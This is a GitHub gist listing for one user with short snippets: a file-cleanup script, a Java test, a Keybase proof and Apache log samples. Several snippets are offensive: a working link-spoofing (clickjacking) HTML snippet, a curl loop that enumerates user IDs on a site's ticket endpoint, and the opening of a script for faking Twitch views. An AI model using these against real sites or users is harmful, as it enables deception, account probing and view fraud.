Skip to content

Instantly share code, notes, and snippets.

View Xeroday's full-sized avatar

Eric Zhang Xeroday

264 followers · 3 following
View GitHub Profile
@Xeroday
Xeroday / clickjack.html
Last active December 17, 2015 04:38
Hovering over the link shows one URL, but clicking on it sends you to another.
<script>
function showLink() {
document.getElementById("theLink").setAttribute("href","http://www.google.com"); //URL to show
}
function clickJack() {
document.getElementById("theLink").setAttribute("href","http://www.bing.com"); //URL that it actually goes to
}
</script>
<a id="theLink" href="#" onmouseover="showLink()" onmousedown="clickJack()">Click me</a>
@Xeroday
Xeroday / delete-targz.php
Created July 21, 2013 22:27
Deletes .tar.gz files older than 7 days.
<?php
$files = glob("*.tar.gz");
foreach($files as $file) {
if(is_file($file)
&& time() - filemtime($file) >= 7*24*60*60) { // 7 days
unlink($file);
}
}
?>
@Xeroday
Xeroday / Twitch.py
Created September 6, 2013 18:41
A script to fake views on Twitch.tv, http://www.ericzhang.me/faking-views-on-twitch-tv/
import requests
import subprocess
import json
import sys
import threading
import time
from Queue import Queue
numberOfViewers = int(sys.argv[1])
builderThreads = int(sys.argv[2])
@Xeroday
Xeroday / TwistListTest.java
Created September 11, 2013 17:16
HW3 TwistListTest
import static org.junit.Assert.*;
import org.junit.Test;
public class TwistListTest {
@Test
public void testAdd() {
TwistList<String> l1 = new TwistList<>();
@Xeroday
Xeroday / lizardstresser-user-enum.py
Last active August 29, 2015 14:12
LizardStresser.su User Enumeration
import subprocess
# Make sure you set the Cookie header to your cookies and the ticket id (tid)
for i in range(100967, 103325):
subprocess.Popen("curl 'http://lizardstresser.su/ajax/addticketreply.php' -H 'Cookie: ...' -H 'Origin: http://lizardstresser.su' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Accept: */*' -H 'Referer: http://lizardstresser.su/viewticket.php?id=5090' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' --data 'content=" + str(i) + "&tid=5090&uid=" + str(i) + "' --compressed", shell=True, stdout=subprocess.PIPE).stdout.read()
@Xeroday
Xeroday / keybase.md
Created September 19, 2017 20:59

Keybase proof

I hereby claim:

  • I am xeroday on github.
  • I am xeroday (https://keybase.io/xeroday) on keybase.
  • I have a public key ASDvPiH6WDr2FVcuLgItEaxHG16R6yRFs-57o5lNObzxjQo

To claim this, I am signing this object:

@Xeroday
Xeroday / sample.log
Created July 12, 2024 00:14
Apache Logs
166.147.88.15 - - [17/May/2015:15:05:44 +0000] "GET /reset.css HTTP/1.1" 200 1015 "http://www.semicomplete.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53"
166.147.88.15 - - [17/May/2015:15:05:58 +0000] "GET /style2.css HTTP/1.1" 200 4877 "http://www.semicomplete.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53"
166.147.88.15 - - [17/May/2015:15:05:45 +0000] "GET /images/jordan-80.png HTTP/1.1" 200 6146 "http://www.semicomplete.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53"
166.147.88.15 - - [17/May/2015:15:05:56 +0000] "GET /images/web/2009/banner.png HTTP/1.1" 200 52315 "http://www.semicomplete.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11